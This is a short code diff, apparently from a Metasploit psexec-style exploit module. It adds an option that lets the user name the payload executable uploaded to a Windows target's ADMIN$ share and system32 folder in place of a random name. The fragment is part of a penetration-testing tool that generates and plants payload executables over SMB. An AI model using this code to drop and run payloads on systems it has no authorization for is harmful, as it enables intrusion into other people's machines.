@@ -82,7 +82,8 @@ def initialize(info = {})
82
82
register_advanced_options (
83
83
[
84
84
OptBool . new ( 'DB_REPORT_AUTH' , [ true , "Report an auth_note upon a successful connection" , true ] ) ,
85
- OptBool . new ( 'MOF_UPLOAD_METHOD' , [ true , "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )" , false ] )
85
+ OptBool . new ( 'MOF_UPLOAD_METHOD' , [ true , "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )" , false ] ) ,
86
+ OptString . new ( 'SERVICE_FILENAME' , [ false , "Filename to to be used on target for the service binary" , nil ] )
86
87
] , self . class )
87
88
end
88
89
@@ -124,6 +125,8 @@ def exploit
124
125
report_auth_info ( report_hash )
125
126
end
126
127
128
+ filename = datastore [ 'SERVICE_FILENAME' ] || "#{ rand_text_alpha ( 8 ) } .exe"
129
+
127
130
if datastore [ 'MOF_UPLOAD_METHOD' ]
128
131
# payload as exe
129
132
print_status ( "Trying wbemexec..." )
@@ -133,7 +136,6 @@ def exploit
133
136
return
134
137
end
135
138
simple . connect ( "ADMIN$" )
136
- filename = rand_text_alpha ( 8 ) + ".exe"
137
139
exe = generate_payload_exe
138
140
fd = smb_open ( "\\ system32\\ #{ filename } " , 'rwct' )
139
141
fd << exe
@@ -152,7 +154,6 @@ def exploit
152
154
# Disconnect from the ADMIN$
153
155
simple . disconnect ( "ADMIN$" )
154
156
else
155
- filename = rand_text_alpha ( 8 ) + ".exe"
156
157
servicename = rand_text_alpha ( 8 )
157
158
158
159
# Upload the shellcode to a file
0 commit comments